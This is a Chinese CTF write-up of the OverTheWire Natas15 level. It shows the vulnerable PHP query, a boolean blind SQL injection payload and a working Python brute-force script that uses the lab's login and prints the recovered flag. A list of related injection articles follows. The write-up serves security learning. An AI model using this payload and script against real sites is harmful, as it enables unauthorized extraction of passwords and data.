Natas15:

源码如下

  1. /*
  2. CREATE TABLE `users` (
  3. `username` varchar(64) DEFAULT NULL,
  4. `password` varchar(64) DEFAULT NULL
  5. );
  6. */
  7.  
  8. if(array_key_exists("username", $_REQUEST)) {
  9. $link = mysql_connect('localhost', 'natas15', '<censored>');
  10. mysql_select_db('natas15', $link);
  11.  
  12. $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
  13. if(array_key_exists("debug", $_GET)) {
  14. echo "Executing query: $query<br>";
  15. }
  16.  
  17. $res = mysql_query($query, $link);
  18. if($res) {
  19. if(mysql_num_rows($res) > 0) {
  20. echo "This user exists.<br>";
  21. } else {
  22. echo "This user doesn't exist.<br>";
  23. }
  24. } else {
  25. echo "Error in query.<br>";
  26. }
  27.  
  28. mysql_close($link);
  29. }

依旧是sql注入题,审计源码,发现没有sql信息的回显,只有对用户名的判断,确定是sql盲注。

Sql查询语句如下:

  1. $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

Databse构造语句如下:

  1. CREATE TABLE `users` (
  2. `username` varchar(64) DEFAULT NULL,
  3. `password` varchar(64) DEFAULT NULL
  4. );

猜测一下,是否存在user=natas16,返回存在。因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。

假设我们输入的sql语句是下面这样的

  1. select * from users where username=natas16 and password like binary W%”

其中,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and 是在满足前一个用户名的条件下匹配后一个。

如果这里的W是密码开头的字符,就会返回user exists,如果不是会返回user doesn't exist,我们就可以知道这个字符是不是密码的第一个字符(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可),确认了第一个字符后接着确认第二个,依次类推。。。

脚本:

  1. # coding=utf-8
  2. import requests
  3.  
  4. url = "http://natas15.natas.labs.overthewire.org/index.php"
  5. auth=requests.auth.HTTPBasicAuth('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
  6. chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
  7. flag=""
  8.  
  9. i=0
  10. while i < len(chr):
  11. payload = "natas16\" AND password like binary\""+flag+chr[i]+"%\" #"
  12. req = requests.post(url,auth=auth,data={"username":payload})
  13. if "This user exists" in req.text:
  14. flag+=chr[i]
  15. print(flag)
  16. i=0
  17. continue
  18. i+=1

flag:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

参考:
https://blog.csdn.net/lyover/article/details/50032867
https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.freebuf.com/column/182518.html

Natas15 Writeup(sql盲注之布尔盲注)的更多相关文章

  1. 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  4. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  5. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  6. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

  9. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

随机推荐

  1. Nginx笔记总结二:Nginx编译参数

    -prefix=                                                    安装路径-with-http_ssl_module               ...

  2. a, b = a, a+b 和a=b b=a+b的区别

    n,a,b=0,0,1 while n<5: print(b) a,b=b,a+b n=n+1 和 n,a,b=0,0,1 while n<5: print(b) a=b b=a+b n= ...

  3. RxJS学习笔记之Subject

    本文为原创文章,转载请标明出处 目录 Subject BehaviorSubject ReplaySubject AsyncSubject 1. Subject 总的来说,Subject 既是能够将值 ...

  4. 吴裕雄--天生自然 R语言开发学习:中级绘图

    #------------------------------------------------------------------------------------# # R in Action ...

  5. P6跨级晋升P8再到P10,我的11年成长之路

    来自:语雀,作者:玉伯 链接:https://www.yuque.com/yubo/morning/grow-up-at-alibaba 注:这是在阿里内部前端大学的一个分享,整理了一份对外的版本,希 ...

  6. Appium移动自动化测试实例-基于python

    一.环境搭建 安装Android 环境变量.SDK.Android API.ADT等. 步骤1  安装SDK:下载地址为https://pan.baidu.com/s/1mi6PT9m.如提示错误:' ...

  7. nginx增加访问验证

    使用OpenSSL实用程序创建密码文件 如果您的服务器上安装了OpenSSL,则可以创建没有附加软件包的密码文件.我们将在/ etc / nginx配置目录中创建一个名为.htpasswd的隐藏文件来 ...

  8. Node学习(二) --使用http和fs模块实现一个简单的服务器

    1.创建一个www目录,存储静态文件1.html.1.jpg. * html文件内容如下: 12345678910111213 <html lang="en">< ...

  9. python闭包&深浅拷贝&垃圾回收&with语句

    1. 闭包 1.闭包概念 1. 在一个外函数中定义了一个内函数,内函数里运用了外函数的临时变量,并且外函数的返回值是内函数的引用,这样就构成了一个闭包 2. 一般情况下,在我们认知当中,如果一个函数结 ...

  10. 【DPDK】谈谈DPDK如何实现bypass内核的原理 其一 PCI设备与UIO驱动

    [前言] 随着网络的高速发展,对网络的性能要求也越来越高,DPDK框架是目前的一种加速网络IO的解决方案之一,也是最为流行的一套方案.DPDK通过bypass内核协议栈与内核驱动,将驱动的工作从内核态 ...